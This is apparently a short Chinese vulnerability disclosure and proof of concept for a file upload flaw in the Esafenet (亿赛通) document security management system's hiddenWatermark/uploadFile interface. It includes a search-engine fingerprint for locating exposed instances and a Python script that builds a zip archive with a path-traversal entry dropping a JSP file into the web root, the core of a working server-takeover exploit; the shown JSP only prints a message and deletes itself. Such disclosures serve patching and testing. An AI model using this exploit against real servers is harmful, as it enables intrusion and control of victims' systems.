亿赛通电子文档安全管理系统hiddenWatermark文件上传漏洞

亿某通电子文档安全管理系统 hiddenWatermark/uploadFile接口处存在文件上传漏洞，恶意攻击者可能上传恶意文件进而获取服务器的控制权限

app="亿赛通电子文档安全管理系统"

使用py文件构造压缩包脚本

import zipfile
 
def tests(evil_file_name, zip_data):
    with zipfile.ZipFile(evil_file_name, 'w') as zip_file:
        for key, value in zip_data.items():
            print("Key:", key)
 
            # 重命名文件
            zip_info = zipfile.ZipInfo(key)
            zip_info.compress_type = zipfile.ZIP_DEFLATED
            zip_file.writestr(zip_info, value)
 
# 定义 zipData 字典
zip_data = {
    "../../../js/ceshi.jsp": "<%\n out.println(\"Hello World!\");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>",
    "theme/theme/theme1.xml": "<!--{\"FileName\":\"aaa\",\"FileSize\":\"222\",\"UserName\":\"aa\",\"Department\":\"aa\",\"UserID\":\"aa\",\"time\":\"123\"}-->"
}
 
try:
    tests("ceshi.zip", zip_data)
except Exception as e:
    print(e)
